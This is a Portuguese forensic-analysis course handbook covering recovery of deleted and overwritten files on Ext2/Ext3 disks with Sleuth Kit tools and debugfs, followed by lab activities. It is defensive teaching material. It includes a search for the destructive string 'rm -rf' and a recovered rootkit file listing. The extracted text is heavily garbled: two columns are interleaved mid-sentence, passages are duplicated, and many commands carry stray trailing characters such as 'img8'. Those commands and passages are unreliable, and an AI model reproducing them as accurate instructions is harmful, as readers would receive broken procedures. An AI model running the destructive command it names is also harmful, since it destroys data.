tratá-las e armazená-las de maneira a garantir a cas para recuperação completa ou parcial de evidên-
integridade e a cadeia de custódia das mesmas. cias removidas do disco.
Aprendemos a encontrar evidências utilizando
ferramentas básicas disponíveis em qualquer
distribuição Linux. Veremos também algumas técnicas para análise de
Ainda existem muitas evidências presentes na arquivos suspeitos encontrados. Apesar desta ser a
imagem analisada nesta sessão. A análise forense é
parte mais demorada do processo, veremos que as
um processo cíclico, demorado e sujeito a erros.
É importante tentar correlacionar evidências para técnicas são simples e de fácil execução.
garantir a validade das informações coletadas.

Coleta de evidências
82
Escola Superior de Redes RNP

Análise forense – Sessão de aprendizagem 4


4
Sessão de aprendizagem 4
Coleta de evidências
Roteiro de atividades

Tópicos e conceitos

\\A análise forense de mídias tem o objetivo de recuperar evidências que


comprovem a invasão do computador analisado.

Competências técnicas desenvolvidas

\\Coletar evidências de um sistema comprometido.

Outras competências desenvolvidas

\\Capacidade de investigação e pesquisa do aluno.

Tempo previsto para as atividades

\\90-110 minutos
84
Escola Superior de Redes RNP

Atividade 1 – Coletando evidências

1. Juntamente com um colega, utilize as técnicas aprendidas para procurar por


mais evidências no disco. Veja quais evidências consegue encontrar além
das que já foram vistas. Use como base os comandos estudados durante a
sessão, para encontrar evidências além das comentadas no texto.

2. Crie fichas de evidência para os arquivos de log encontrados. Procure


pelos outros arquivos comentados no texto teórico e que não foram
encontrados. Crie as respectivas fichas de identificação, e também as
fichas de identificação para os arquivos encontrados no exercício
anterior.

Análise forense – Sessão de aprendizagem 4


5
Sessão de aprendizagem 5
Recuperação e análise de evidências

Sumário da sessão

Recuperação e análise de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86

Estrutura do sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86

Recuperação de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88

Recuperação de arquivos sobrescritos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89

Recuperação de arquivos journaling. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91

Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97

Atividade 1 – Rastreando eventos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98

Atividade 2 – Buscando ferramentas na internet. . . . . . . . . . . . . . . . . . . . . . . . 98


86
Escola Superior de Redes RNP

Recuperação e análise de evidências


Recuperação e análise de evidências

As técnicas e ferramentas que veremos a seguir se


O processo de procurar evidências é cíclico, e o
analista deve continuar procurando enquanto aplicam a praticamente qualquer sistema de arquivos
necessitar de evidências para comprovar a invasão e Unix e Windows que não utilizem journaling. Neste
encontrar o responsável.
caso, precisamos utilizar uma ferramenta específica
As ferramentas vistas até agora são úteis apenas para
procurar arquivos que ainda estejam disponíveis no para cada caso. Nesta sessão estudaremos como
sistema de arquivos. recuperar arquivos em um sistema Ext3 (third extended
O que fazer, então, quando os arquivos foram file system), o padrão de sistema de arquivos do Linux.
apagados?

Um invasor costuma apagar seus rastros quando


percebe que está sendo monitorado ou correndo o
risco de ser encontrado

Recuperação e análise de evidências A principal dificuldade para recuperar arquivos


apagados é o fato de que os dados podem ter sido
Invasores costumam apagar seus rastros quando sobrescritos. Além disso, as versões mais novas de
percebem que estão sendo monitorados. alguns sistemas operacionais utilizam um tipo de sis-
É necessário utilizar ferramentas para recuperar tema de arquivos conhecido como journaling file sys-
arquivos apagados. tems. Estes sistemas de arquivo têm um registro de
A principal dificuldade para recuperar arquivos
apagados é o fato de que os dados podem ter sido
todas as atividades realizadas no disco, permitindo
sobrescritos. uma recuperação mais rápida e segura em caso de
Versões mais novas de alguns sistemas operacionais parada não intencional do sistema.
utilizam journaling file systems.
Estes sistemas de arquivo têm um registro de todas
Um exemplo de sistema de arquivos com journaling
as atividades realizadas no disco.
utilizado pelo Linux é o Ext3.

Estrutura do sistema de arquivos


Estrutura do sistema de arquivos

O sistema de arquivos do Linux é conhecido como


O sistema de arquivos do Linux é conhecido como
Extended Filesystem (Ext) Extended Filesystem (Ext).
Existem dois padrões: Ext2 e Ext3
A principal estrutura do Ext2 é chamada de Existem dois padrões:
superblock
O bloco de disco é a menor estrutura de \\Ext2, utilizado em versões mais antigas do kernel;
armazenamento no sistema de arquivos, utilizado para
armazenar o conteúdo dos arquivos \\Ext3, um sistema de arquivos com journaling e
O inode é a estrutura que armazena as informações estrutura compatível com o Ext2.
sobre cada arquivo

A principal estrutura do Ext2 é chamada de superblock.


Ela armazena as informações sobre as características
do sistema de arquivos e as informações sobre posi-
ções (livres e ocupadas) do disco.

O bloco de disco é a menor estrutura de armazenamento no sistema de arquivos.


Ele é utilizado para armazenar o conteúdo dos arquivos.

Análise forense – Sessão de aprendizagem 5


87

Arquivos menores que o tamanho do bloco de disco desperdiçam o restante do


bloco. O inode é a estrutura que armazena as informações sobre cada arquivo.

Podemos ver na figura que quando o tamanho de um


Estrutura do sistema de arquivos
arquivo não cabe no limite máximo de blocos que
podem ser endereçados diretamente (12 blocos), um
Cada inode armazena diversas informações sobre um
arquivo: destes blocos é utilizado para endereçar indireta-
Identificação do proprietário do arquivo mente outros blocos.
Tipo de arquivo (regular, diretório, dispositivos etc)
Permissões de acesso Este processo pode ser repetido para blocos dupla-
Número de hard links mente e triplamente endereçados, permitindo arqui-
Tamanho do arquivo
vos com tamanhos consideráveis.
Tempos de acesso/modificação/status do arquivo
Tabela de conteúdo (endereços dos blocos que
armazenam os dados do arquivo)

Estrutura do sistema de arquivos

Ao apagar um arquivo em um sistema com Ext2, o


sistema realiza as seguintes funções:
O inode alocado ao arquivo é marcado como livre;
Este inode é colocado na lista de inodes livres do superblock
O número de inodes livres é incrementado no superblock
Os blocos de disco utilizados pelo arquivo são recolocados na
lista de blocos livres
O número de blocos livres é incrementado no superblock
Em nenhum momento, o conteúdo dos blocos ou do
inode é apagado, o que permite a recuperação de
arquivos apagados

Recuperação e análise de evidências


88
Escola Superior de Redes RNP

O journaling é um registro das atividades do sistema


Estrutura do sistema de arquivos
de arquivos. O sistema operacional grava esse
Ext3 é um sistema de arquivos com journaling, que mantém registro antes de gravar o dado no disco, para que
um registro de todas as operações de leitura e escrita em seja possível recuperar a estrutura do sistema de
disco .
O problema do Ext3 é que o sistema trata de forma diferente arquivos caso ocorra uma falha grave durante uma
o processo de apagamento de um arquivo: operação de escrita. Com esse registro, o sistema
Blocos de disco agrupados em blocos.
As tabelas de inodes também são associadas a estes grupos de pode recuperar um estado anterior do disco, fixando
blocos, e os inodes nestas tabelas são localizados sempre dentro do
mesmo grupo.
qualquer problema causado pela falha.
Quando um arquivo é criado, o sistema operacional aloca um inode e
blocos para este arquivo dentro do mesmo grupo de blocos do
diretório pai. Além dessa característica, o Ext3 também precisou
Ao apagar um arquivo em um sistema Ext3, o kernel do Linux zera o modificar o processo de remoção de um arquivo,
tamanho do arquivo e o endereço da lista de blocos no inode.
para garantir a integridade dos dados. Por isso, ao
remover um arquivo, os endereços de bloco e o
tamanho do arquivo são zerados no inode.

Recuperação de arquivos
Recuperação de arquivos

Vemos aqui informações importantes sobre o sis-


Para recuperar arquivos, precisamos descobrir em
qual inode o arquivo procurado estava armazenado tema de arquivos, como o tamanho do bloco de
Se não for possível descobrir o inode, talvez dados e informações sobre a disponibilidade de
possamos recuperar apenas parte do arquivo inodes e blocos de dados. O primeiro passo é des-
Podemos utilizar ferramentas para analisar o disco e cobrir informações sobre o sistema de arquivos:
encontrar as informações necessárias sobre os
arquivos apagados # fsstat -f linux-ext2 /data/compromised/compromise
Em último caso, podemos utilizar ferramentas como d_hda1.img8
grep e strings para descobrir onde a informação FILE SYSTEM INFORMATION
procurada está armazenada
--------------------------------------------
File System Type: Ext2
Volume Name: /
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Wed Jan 16 21:06:57 2008
Last Checked at: Mon Jul 14 14:52:13 2003
Last Mounted at: Wed Jan 16 21:05:40 2008

METADATA INFORMATION
--------------------------------------------
Inode Range: 1 - 117760
Root Directory: 2
Free Inodes: 87861
CONTENT INFORMATION
--------------------------------------------
Block Range: 0 - 235515
Block Size: 4096
Free Blocks: 155704

Análise forense – Sessão de aprendizagem 5


89

O primeiro comando lista todos os arquivos da ima-


Recuperação de arquivos
gem que foram removidos. Dessa forma podemos
encontrar o inode do arquivo que nos interessa.
Para recuperar um arquivo que não tenha sido
sobrescrito, o procedimento é o seguinte:
Encontre o inode onde o arquivo estava armazenado: Com o inode, podemos utilizar o istat para descobrir
fls –adpr /data/compromised/compromised_hda1.img os blocos onde este arquivo está armazenado. E
Descubra mais informações sobre o arquivo:
com o ffind, descobrir o nome original do arquivo,
istat /data/compromised/compromised_hda1.img 47147
Encontre o nome original do arquivo: caso ele tenha sido realocado.
ffind -a /data/compromised/compromised_hda1.img 47147
Recupere o arquivo armazenado no inode encontrado: Finalmente, com o icat podemos recuperar completa-
icat /data/compromised/compromised_hda1.img 47147 >
/data/compromised/s.tgz mente o arquivo original.

Recuperação de arquivos sobrescritos


Recuperação de arquivos sobrescritos

Caso o arquivo tenha sido sobrescrito parcialmente, o


Para recuperar arquivos que tenham sido
sobrescritos, o procedimento é diferente: processo é um pouco diferente.
Para facilitar, precisamos extrair do disco todos os
blocos não alocados para nenhum arquivo: Primeiramente, precisamos diminuir a região onde
# dls –f linux-ext2
/data/compromised/compromised_hda1.img > vamos procurar pelas partes do arquivo. Como ele
/data/compromised/compromised_hda1.img.dls 
foi removido, é sensato pensar que o arquivo está
Descubra em que posição no arquivo está localizada a
informação que procura: armazenado nos blocos não alocados do disco.
# grep –ab "rm -rf" Fazemos isso com o comando dls, que extrai o
/data/compromised/compromised_hda1.img.dls 
espaço não alocado da imagem original.

A seguir, procuramos o conteúdo que nos interessa,


como vimos na sessão 3.

Recuperação de arquivos sobrescritos


Descobrindo a posição na imagem de dados desalo-
cados, utilizamos o dcalc para encontrar a posição
Agora, descubra onde essa informação está localizada
no disco original: na imagem original.
# echo $((66511837/4096)) 
16238
# dcalc –u 16238 /data/compromised/compromised_hda1.img  Se o ifind não encontrar nenhum inode apontando para
39342
este bloco de disco, precisamos recuperar bloco a
Caso o bloco não esteja alocado por nenhum inode,
recupere os blocos de dados que conseguir: bloco até conseguir toda informação possível do
# ifind –a –d 39342 arquivo.
/data/compromised/compromised_hda1.img 
Inode not found

Recuperação e análise de evidências


90
Escola Superior de Redes RNP

Em alguns casos, é possível identificar o tipo do


Recuperação de arquivos sobrescritos
arquivo, e baseado na assinatura do arquivo, encon-
Ao examinar o conteúdo do bloco, vemos que ele é parte de um trar o início e o fim do mesmo. No nosso caso, des-
arquivo TAR. Para tentar recuperar este arquivo, podemos cobrimos um arquivo TAR.
recuperar bloco por bloco do disco até montar o arquivo completo.
Primeiro, vamos analisar diversos blocos ao redor do bloco que
achamos, para descobrir onde o arquivo termina: Realizando uma procura nos blocos adjacentes ao
# dcat -f linux-ext2
/data/compromised/compromised_hda1.img 39341 1000 bloco que achamos anteriormente, podemos encontrar
Procuramos por um texto que esteja próximo do fim do arquivo: o fim do arquivo, como fizemos no primeiro e segundo
# grep -ab './udhss -f ./s'
/data/compromised/compromised_hda1.img.dls exemplos. Ao encontrar o bloco que armazena o fim do
arquivo, como já temos o bloco que armazena o início
do arquivo, podemos recuperar os blocos do arquivo
completamente. Finalmente, com o comando dcat,
recuperamos os blocos de que precisamos.

Aqui vale lembrar de uma coisa. Normalmente, o


Recuperação de arquivos sobrescritos
sistema operacional tenta alocar blocos consecutivos
para um arquivo. Por isso é possível recuperar um
Encontramos o bloco de disco que armazena esta
informação e o número de blocos que devemos arquivo ao recuperar os blocos da forma como fizemos.
recuperar: Caso o arquivo esteja armazenado em blocos não
# dcalc -u 16839
/data/compromised/compromised_hda1.img  consecutivos, talvez não seja possível recuperar o
# echo $((39943-39341)) 
arquivo completo.
602
Finalmente, recuperamos os blocos do arquivo:
# dcat -f linux-ext2 Como vimos, é possível recuperar o arquivo quase
/data/compromised/compromised_hda1.img 39341 
602 > /data/compromised/recovered.tar totalmente:

# tar tvf /data/compromised/recovered.tar8


tar: This does not look like a tar archive
tar: Skipping to next header
-rwxr-xr-x hack3r/hack3r 190 2001-04-15 14:56:20 ro
otkit/scan/.. /xdr
Recuperação de arquivos sobrescritos -rwxr-xr-x hack3r/hack3r 840 2001-04-15 14:55:58 ro
otkit/scan/.. /rdx
# tar tvf /data/compromised/recovered.tar -rw-r--r-- hack3r/hack3r 7108 2000-04-08 18:38:47 ro
tar: This does not look like a tar archive otkit/scan/.. /cl.sh
tar: Skipping to next header
-rwxr-xr-x hack3r/hack3r 190 2001-04-15 14:56:20 rootkit/scan/.. /xdr
...
-rwxr-xr-x hack3r/hack3r 840 2001-04-15 14:55:58 rootkit/scan/.. /rdx -rw------- hack3r/hack3r 307200 2001-08-03 09:41:20
-rw-r--r-- hack3r/hack3r 7108 2000-04-08 18:38:47 rootkit/scan/.. /cl.sh rootkit/core
...
-rw------- hack3r/hack3r 307200 2001-08-03 09:41:20 rootkit/core ...
...
-rw-r--r-- hack3r/hack3r 64 2001-11-24 10:34:07 roo
-rw-r--r-- hack3r/hack3r 64 2001-11-24 10:34:07 rootkit/ess-0.8.6/install
-rwxr-xr-x hack3r/hack3r 624753 2001-11-24 10:17:54 rootkit/udhss
tkit/ess-0.8.6/install
tar: Skipping to next header -rwxr-xr-x hack3r/hack3r 624753 2001-11-24 10:17:54
-rwxr-xr-x hack3r/hack3r 158 2001-11-24 16:59:35 rootkit/rula rootkit/udhss
tar: Error exit delayed from previous errors
tar: Skipping to next header
-rwxr-xr-x hack3r/hack3r 158 2001-11-24 16:59:35 ro
otkit/rula
tar: Error exit delayed from previous errors

Um arquivo TAR pode conter informações importantes sobre quem o criou. Neste caso,
vemos o username e o grupo do usuário que criou o arquivo TAR. Além disso, observa-
mos que o arquivo TAR contém um arquivo chamado core. Conforme examinaremos na
próxima sessão, esse arquivo pode conter informações valiosas sobre o invasor.

Verificamos ainda na saída do comando que o arquivo foi recuperado quase total-
mente, apenas com alguns erros que foram mostrados pelo comando.

Análise forense – Sessão de aprendizagem 5


91

Recuperação de arquivos journaling


Recuperação de arquivos journaling

Vimos técnicas para recuperar arquivos em sistemas


No Ext3, o processo para recuperar arquivos é mais
difícil e muitas vezes não podemos recuperar Ext2; apesar de algumas vezes ser demorado, o
totalmente o arquivo: processo não é complexo.
A lista de blocos que apontam para o conteúdo dos
arquivos é zerada quando o arquivo é removido.
No Ext3, o processo para recuperar arquivos é
Vamos conhecer uma técnica para recuperar um
arquivo em um sistema de arquivos Ext3. mais difícil e muitas vezes não podemos recuperar
Para isso, vamos utilizar as informações gravadas no totalmente o arquivo, porque a lista de blocos que
journaling do sistema de arquivos para recuperar as apontam para o conteúdo dos arquivos é zerada
informações que foram apagadas do inode original.
quando o arquivo é removido. Isto faz com que não
seja mais possível acessar o conteúdo do arquivo a
partir das informações presentes no inode.

Vamos conhecer uma técnica para recuperar um arquivo em um sistema de arquivos


Ext3. Para isso, vamos utilizar as informações gravadas no journaling do sistema de
arquivos para recuperar as informações que foram apagadas do inode original.

Quando é feita qualquer atualização no sistema de arqui-


Recuperação de arquivos journaling
vos, o journaling guarda uma cópia completa do inode
modificado no journal, o que nos permite recuperar a
Quando é feita qualquer atualização no sistema de
arquivos, o journaling guarda uma cópia completa do informação original que existia em um inode, bastando
inode modificado no journal recuperar a cópia do inode armazenada no journal.
Como não queremos prejudicar nenhuma evidência na
imagem que estamos utilizando, vamos realizar os
exercícios a seguir no disco da máquina virtual de Como não queremos prejudicar nenhuma evidência
nossa estação forense na imagem que estamos utilizando, vamos realizar
Para isso, vamos criar um arquivo, apagá-lo do disco, os exercícios a seguir no disco da máquina virtual
e tentar recuperá-lo utilizando as informações do de nossa estação forense. Para isso, vamos criar
journal
um arquivo, apagá-lo do disco, e tentar recuperá-lo
utilizando as informações do journal.

Atenção: como este exercício vai ser feito no disco


Recuperação de arquivos journaling que o aluno está utilizando para realizar todos os
exercícios, possivelmente os valores de inode e
Criar o arquivo de exemplo e coletar informações: blocos estarão diferentes dos que o aluno encon-
# gzip -9 -c /data/compromised/compressed.files > /data/compromised/test.gz
# ls -li /data/compromised/test.gz
trará em sua máquina. Basta que o aluno adapte os
valores de inodes e blocos de dados mostrados aqui
937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 /data/compromised/test.gz
# istat /dev/sda5 937288
inode: 937288
Allocated para os encontrados em sua máquina.
Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r--
size: 5252
Inicialmente, vamos criar o arquivo que usaremos
como exemplo, e coletar algumas informações sobre
num of links: 1
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:06:13 2008 o mesmo antes de apagar, para compará-las depois:
Inode Modified: Thu Jan 17 12:06:13 2008
Direct Blocks:
262651 262652
# gzip -9 -c /data/compromised/compressed.files > /d
ata/compromised/test.gz8

# ls -li /data/compromised/test.gz8
937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 /
data/compromised/test.gz

# istat /dev/sda5 9372888

Recuperação e análise de evidências


92
Escola Superior de Redes RNP

inode: 937288
Allocated
Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r--
size: 5252
num of links: 1
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:06:13 2008
Inode Modified: Thu Jan 17 12:06:13 2008
Direct Blocks:
262651 262652

Aqui apenas criamos o arquivo que usaremos como exemplo, e mostramos com ls
–li e istat algumas informações sobre o arquivo e o inode onde ele está armaze-
nado, para compararmos posteriormente com o resultado obtido.

Finalmente com o istat descobrimos mais dados


Recuperação de arquivos journaling
sobre o inode, tal como as datas de modificação
Com istat descobrimos as datas de modificação e criação e os blocos onde e criação, além dos blocos onde o arquivo está
o arquivo está armazenado:
armazenado:
# rm -f /data/compromised/test.gz
# ls -li /data/compromised/*.gz
ls: /data/compromised/*.gz: No such file or directory
# istat /dev/sda5 937288
# rm -f /data/compromised/test.gz8
inode: 937288
Not Allocated
Group: 58 # ls -li /data/compromised/*.gz8
Generation Id: 1159893987
uid / gid: 0 / 0 ls: /data/compromised/*.gz: No such file or directory
mode: -rw-r--r--
size: 0
num of links: 0 # istat /dev/sda5 9372888
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:09:54 2008
inode: 937288
Inode Modified: Thu Jan 17 12:09:54 2008
Deleted: Thu Jan 17 12:09:54 2008
Not Allocated
Direct Blocks: Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r--
size: 0
num of links: 0
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:09:54 2008
Inode Modified: Thu Jan 17 12:09:54 2008
Deleted: Thu Jan 17 12:09:54 2008
Direct Blocks:

Removemos o arquivo e listamos informações do inode, mostrando que este não


está mais alocado, e que não temos mais o tamanho e a lista de blocos onde
o arquivo foi armazenado. Além disso, temos uma nova informação: a data de
remoção do arquivo.

Análise forense – Sessão de aprendizagem 5


93

Quando precisamos recuperar uma evidência do


Recuperação de arquivos journaling
disco, podemos utilizar as informações presentes no
Utilizar as informações presentes no journal do journal do sistema de arquivos para tentar recuperar
sistema de arquivos para tentar recuperar a lista de a lista de blocos original do inode.
blocos original do inode.
Quando o arquivo foi removido, uma cópia do inode
Lembre-se: ao remover o arquivo, uma cópia do inode
original foi copiada para o journal antes que as
informações fossem zeradas. original foi copiada para o journal antes que as infor-
Se conseguirmos recuperar essa informação, mações fossem zeradas. Se conseguirmos recuperar
poderemos recuperar o arquivo original. essa informação, poderemos recuperar o arquivo origi-
Ferramenta debugfs permite acessar o sistema de
nal. Para realizar essa operação, vamos conhecer uma
arquivos diretamente.
nova ferramenta, chamada debugfs. Esta ferramenta,
presente em praticamente qualquer distribuição Linux,
permite acessar diretamente o sistema de arquivos.

O debugfs funciona tanto com o Ext2 quanto com o Ext3 e tem a capacidade de
acessar as informações do journal do sistema de arquivos. É uma ferramenta
presente no pacote E2fsprogs, que normalmente é instalado com qualquer distri-
buição Linux, ou seja, está presente em praticamente qualquer Linux. Entretanto,
só pode ser utilizado para Ext2 ou Ext3. Existem outras versões para sistemas
específicos, como o debugfs-reiser4 para ReiserFS.

Vamos utilizar o debugfs, pois ele tem a capacidade de listar as informações pre-
sentes no journal do sistema de arquivos.

# debugfs /dev/sda58
Recuperação de arquivos journaling
debugfs 1.39-WIP (10-Dec-2005)
# debugfs /dev/sda5
debugfs: logdump -i <937288>
debugfs 1.39-WIP (10-Dec-2005)
debugfs: logdump -i <937288>
Inode 937288 is at group 58, block 1900546, offset 896
Inode 937288 is at group 58, block 1900546, offset 896
Journal starts at block 1, transaction 116 Journal starts at block 1, transaction 116

FS block 1900546 logged at sequence 1143, journal block 6560 …
(inode block for inode 937288):
Inode: 937288
User: 0
Type: regular
Group: 0
Mode: 0644
Size: 5252
Flags: 0x0 Generation: 1159893987
FS block 1900546 logged at sequence 1143, journal
… block 6560
ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
(inode block for inode 937288):
Blocks: (0+2): 262651
FS block 1900546 logged at sequence 1145, journal block 6570 Inode: 937288 Type: regular Mode: 0644 Flags: 0x0
(inode block for inode 937288):
Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 Generation: 1159893987
Generation: 1159893987

User: 0 Group: 0 Size: 0
User: 0 Group: 0 Size: 5252
ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008 …
mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
Blocks:
No magic number at block 6578: end of journal.
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
Blocks: (0+2): 262651
FS block 1900546 logged at sequence 1145, journal
block 6570
(inode block for inode 937288):
Inode: 937288 Type: regular Mode: 0644 Flags:
0x0 Generation: 1159893987
User: 0 Group: 0 Size: 0

ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
Blocks:
No magic number at block 6578: end of journal.

Recuperação e análise de evidências


94
Escola Superior de Redes RNP

Vemos aqui a execução do comando. O debugfs abre um prompt onde podemos


digitar comandos para acessar diretamente o dispositivo analisado.

É importante notar que a saída do comando logdump -i pode ser bem longa,
dependendo da atividade do inode pesquisado. O importante é procurar a infor-
mação mais próxima do timestamp encontrado no inode do arquivo visto anterior-
mente com o comando istat.

No nosso caso, vemos dois registros importantes: o último é o registro do arquivo


removido; podemos verificar na cópia do inode que ele contém a data de remoção
igual a que vimos anteriormente.

O penúltimo registro é uma cópia do inode original do arquivo, com o tamanho e a


lista de blocos onde o arquivo foi armazenado. Caso existissem blocos endereçados
indiretamente, o processo ficaria mais complicado, mas seguiria o mesmo padrão.

Com a lista de blocos, podemos recuperar o conteúdo do arquivo.

Como agora temos a informação que queremos,


Recuperação de arquivos journaling
basta utilizar os comandos que vimos anteriormente
Utilizar comandos para recuperar os blocos de dados: para recuperar os blocos de dados:

# dcat /dev/sda5 262651 2 > /tmp/recover.gz # dcat /dev/sda5 262651 2 > /tmp/recover.gz8
# file /tmp/recover.gz
/tmp/recover.gz: gzip compressed data, was
# file /tmp/recover.gz8
"compressed.files", from Unix, max compression /tmp/recover.gz: gzip compressed data, was “compres
# ls -l /tmp/recover.gz sed.files”, from Unix, max compression
-rw-r--r-- 1 root root 8192 Jan 17 12:26
/tmp/recover.gz # ls -l /tmp/recover.gz8
-rw-r--r-- 1 root root 8192 Jan 17 12:26 /tmp/recov
er.gz

Aqui vemos como recuperar o conteúdo do arquivo,


e como utilizar o dd para separar os bytes que pre-
cisamos dos dados lidos pelo dcat. Isto é feito porque o dcat lê somente blocos
inteiros, no nosso caso com 4096 bytes. Como podemos ler dois blocos e nosso
arquivo só deveria ter 5252 bytes, há um espaço extra no fim do segundo bloco
que precisamos retirar, o que pode ser feito com o comando dd.

Análise forense – Sessão de aprendizagem 5


95

Observe que o arquivo recuperado contém 8192


Recuperação de arquivos journaling
bytes, em vez de 5252 bytes, que é o tamanho do
arquivo original. Isto acontece pois o dcat apenas
O arquivo recuperado contém 8192 bytes e não o
tamanho original de 5252 bytes copia blocos inteiros. Como sabemos o tamanho
O arquivo original pode ser recuperado com dd: original do arquivo, podemos recuperar o arquivo
# dd if=/tmp/recover.gz of=/tmp/test_recovered.gz bs=1
count=5252 original utilizando o comando dd:
5252+0 records in
5252+0 records out
# dd if=/tmp/recover.gz of=/tmp/test_recovered.gz b
5252 bytes (5.3 kB) copied, 0.034853 seconds, 151 kB/s
s=1 count=52528
# gzip -l -t /tmp/test_recovered.gz
compressed uncompressed ratio uncompressed_name 5252+0 records in
5252 18067 71.1% /tmp/test_recovered
5252+0 records out
5252 bytes (5.3 kB) copied, 0.034853 seconds, 151 k
B/s

# gzip -l -t /tmp/test_recovered.gz8
compressed uncompressed ratio uncompressed_name
5252 18067 71.1% /tmp/test_recovered

Conclusões
Conclusões

Algumas vezes não é possível encontrar no disco as


evidências necessárias para comprovar o caso de
invasão
As evidências podem ter sido apagadas ou
sobrescritas
Mesmo assim, existem ferramentas para recuperar
estes dados
Aprendemos também um pouco mais sobre a
estrutura dos sistemas de arquivos do Linux, e
também como recuperar arquivos em um sistema com
journaling como o Ext3

Recuperação e análise de evidências


96
Escola Superior de Redes RNP

Análise forense – Sessão de aprendizagem 5


5
Sessão de aprendizagem 5
Recuperação e análise de evidências
Roteiro de atividades

Tópicos e conceitos

\\Procurar por evidências no sistema de arquivos e ferramentas necessárias na


internet.

Competências técnicas desenvolvidas

\\Identificaros eventos de um sistema comprometido e buscar as ferramentas


necessárias para a investigação.

Outras competências desenvolvidas

\\Capacidade de investigação e pesquisa do aluno.

Tempo previsto para as atividades

\\90-120 minutos
98
Escola Superior de Redes RNP

Atividade 1 – Rastreando eventos

1. Um dos objetivos da análise forense é tentar descobrir quando foram


realizadas ações na máquina invadida. No sistema que usamos como
exemplo, os arquivos de log foram removidos, dificultando a identificação
de informações sobre a invasão. Utilizando as ferramentas do pacote
forense, tente recuperar todos os arquivos apagados do diretório /var/log
da máquina comprometida. Depois, faça um breve relatório sobre o
conteúdo de cada arquivo. Você saberia dizer por que alguns deles não
se parecem com arquivos de log? A atividade deve ser feita em dupla.

2. Mesmo conseguindo recuperar alguns arquivos de log no exercício


anterior, ainda existem informações importantes que não foram
recuperadas. No disco ainda existem partes dos arquivos de log de e-mail
e do servidor web. Juntamente com um colega, procure na internet
informações sobre o formato desses logs, e utilize-as para procurar em
disco por partes importantes destes logs. Utilize para isso os comandos
grep, strings e dcat. A pesquisa deve ser feita em dupla.

3. Crie fichas de identificação para as evidências encontradas nos dois


exercícios anteriores, conforme mostrado na sessão anterior. Para os
arquivos que não foram recuperados totalmente, a evidência que deve ser
cadastrada são os inodes onde foram encontrados.

Atividade 2 – Buscando ferramentas na internet

1. Como vimos durante a sessão, arquivos apagados em uma partição Ext3


são difíceis de recuperar. Muitas vezes, realizar o serviço manualmente
não é viável. Procure na internet por ferramentas que realizem a
recuperação de arquivos em sistemas Ext3, e faça um breve relatório
sobre as características de cada ferramenta.

Análise forense – Sessão de aprendizagem 5


6
Sessão de aprendizagem 6
Recuperação e análise de evidências
(parte 2)
Sumário da sessão

Recuperação e análise de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100

Análise de executáveis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100

Análise do código. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104

Análise de core dump. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107

Slack space. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108

Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113

Atividade 1 – Análise do conteúdo do arquivo. . . . . . . . . . . . . . . . . . . . . . . . . 114

Atividade 2 – Busca de ferramentas na internet . . . . . . . . . . . . . . . . . . . . . . . 114


100
Escola Superior de Redes RNP

Recuperação e análise de evidências


Recuperação e análise de evidências

Arquivos, partes de logs, timestamps ou ferramentas Durante a investigação é comum encontrar arquivos,
podem comprovar atividades realizadas pelo invasor. partes de logs, timestamps ou ferramentas que com-
Muitas vezes estas evidências não são suficientes para provam atividades realizadas pelo invasor. Mesmo
obter uma imagem completa das atividades do invasor.
Outras vezes, a quantidade reduzida de evidências assim, muitas vezes não conseguimos ter uma
coletadas impede a montagem de uma seqüência lógica de imagem completa das atividades do invasor somente
eventos.
com estas evidências. Outras vezes, a quantidade
Aprenderemos a analisar evidências em arquivos de core
dump e a examinar arquivos binários. de evidências encontradas é tão pequena que ficam
Descobriremos como os invasores utilizam os espaços faltando dados suficientes para a montagem de uma
desperdiçados no fim dos blocos de dados para ocultar
seqüência lógica de eventos.
evidências.

É importante que o investigador tenha pelo menos o


conhecimento básico para realizar uma análise mais
